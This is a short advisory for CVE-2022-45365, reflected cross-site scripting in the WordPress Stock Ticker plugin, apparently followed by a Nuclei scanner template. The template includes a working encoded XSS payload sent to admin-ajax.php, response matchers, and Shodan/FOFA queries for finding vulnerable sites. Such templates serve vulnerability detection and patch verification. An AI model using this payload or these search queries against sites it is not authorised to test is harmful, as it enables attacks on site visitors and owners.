The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_symbol_search_test function in versions up to, and including, 3.23.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
PoC代码[已公开]
id: CVE-2022-45365
info:
name: Stock Ticker <= 3.23.2 - Cross-Site-Scripting
author: theamanrawat
severity: medium
description: |
The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_symbol_search_test function in versions up to, and including, 3.23.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
remediation: Fixed in version 3.23.3
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stock-ticker/stock-ticker-3232-reflected-cross-site-scripting-in-ajax-stockticker-symbol-search-test
- https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-2-reflected-cross-site-scripting-xss-vulnerability
- https://wordpress.org/plugins/stock-ticker/
- https://nvd.nist.gov/vuln/detail/CVE-2022-45365
- https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-45365
cwe-id: CWE-79
epss-score: 0.21849
epss-percentile: 0.95564
cpe: cpe:2.3:a:urosevic:stock_ticker:*:*:*:*:*:wordpress:*:*
metadata:
verified: "true"
max-request: 1
vendor: urosevic
product: stock_ticker
framework: wordpress
shodan-query: http.html:/wp-content/plugins/stock-ticker/
fofa-query: body=/wp-content/plugins/stock-ticker/
publicwww-query: "/wp-content/plugins/stock-ticker/"
tags: cve2022,cve,wordpress,wp-plugin,wpscan,wp,stock-ticker,unauth,xss,urosevic
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=stockticker_symbol_search_test&symbol=test&endpoint=%3Cimg+src%3Dx+onerror%3D%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%28document.domain%29%3E
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Stock Ticker Fatal"
- "<IMG SRC=X ONERROR="
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a00463044022040d8b69e284a9562120075d634420584d40aa9bb6d6a6b1bcff31c1c8a6e92610220105b3cbeefe62c414e3c9e54978ff09bc1d87105a80d57790f06aa3f77854d08:922c64590222798bb761d5b6d8e72950